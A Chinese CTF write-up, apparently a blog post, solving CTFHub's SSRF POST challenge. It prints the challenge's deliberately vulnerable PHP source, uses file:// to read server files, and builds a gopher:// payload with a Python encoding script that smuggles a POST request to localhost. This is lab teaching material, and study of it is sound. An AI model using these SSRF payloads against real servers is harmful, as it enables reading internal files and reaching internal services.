ctfhub-web-ssrf-post请求 解题思路(gopher伪协议应用)

1.打开题目首先输入url=127.0.0.1/flag.php进行测试,查看源码后发现给出一个key值

将key值输入该页面给出的输入框后,提示只能从127.0.0.1进行访问

2.接着访问flag.php,index.php的源代码

通过file伪协议

file:///var/www/html/flag.php

file:///var/www/html/index.php

//flag.php源码加注释(源码不带)
<?php

error_reporting(0);//禁用所有错误报告,这意味着PHP将不会显示任何警告或错误信息。

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}//这检查请求是否来自本地地址127.0.0.1。如果不是,将显示消息“Just View From 127.0.0.1”并终止脚本执行。

$flag=getenv("CTFHUB");//获取环境变量
$key = md5($flag);//加密

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}//验证key成功则得到flag
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
//index.php源码

<?php

// 关闭所有错误报告
error_reporting(0);

// 检查是否有 'url' 参数被传递到脚本中
if (!isset($_REQUEST['url'])) {
    // 如果没有 'url' 参数,重定向到根目录,并添加查询字符串 '?url=_'
    header("Location: /?url=_");
    exit;
}

// 初始化cURL会话
$ch = curl_init();

// 设置cURL的目标URL,使用传入的 'url' 参数
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);

// 设置cURL选项,告诉cURL不返回HTTP头,只返回正文内容
curl_setopt($ch, CURLOPT_HEADER, 0);

// 设置cURL选项,允许cURL跟随重定向
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

// 执行cURL请求
curl_exec($ch);

// 关闭cURL会话
curl_close($ch);
?>

构造gopher伪协议,使得在index页面提交带key的post请求以得到flag,注意换行符

gopher://127.0.0.1:80/_

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=80da6951bda80138fa19edbc41ff2960

构造好之后放入bp编码

但是使用bp的url编码得不到本题flag,只有用脚本的url编码才能得到flag(不理解,望有高人指点)

脚本附上

import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=80da6951bda80138fa19edbc41ff2960
"""


tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

在cmd里运行,位置自选,我的在桌面

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值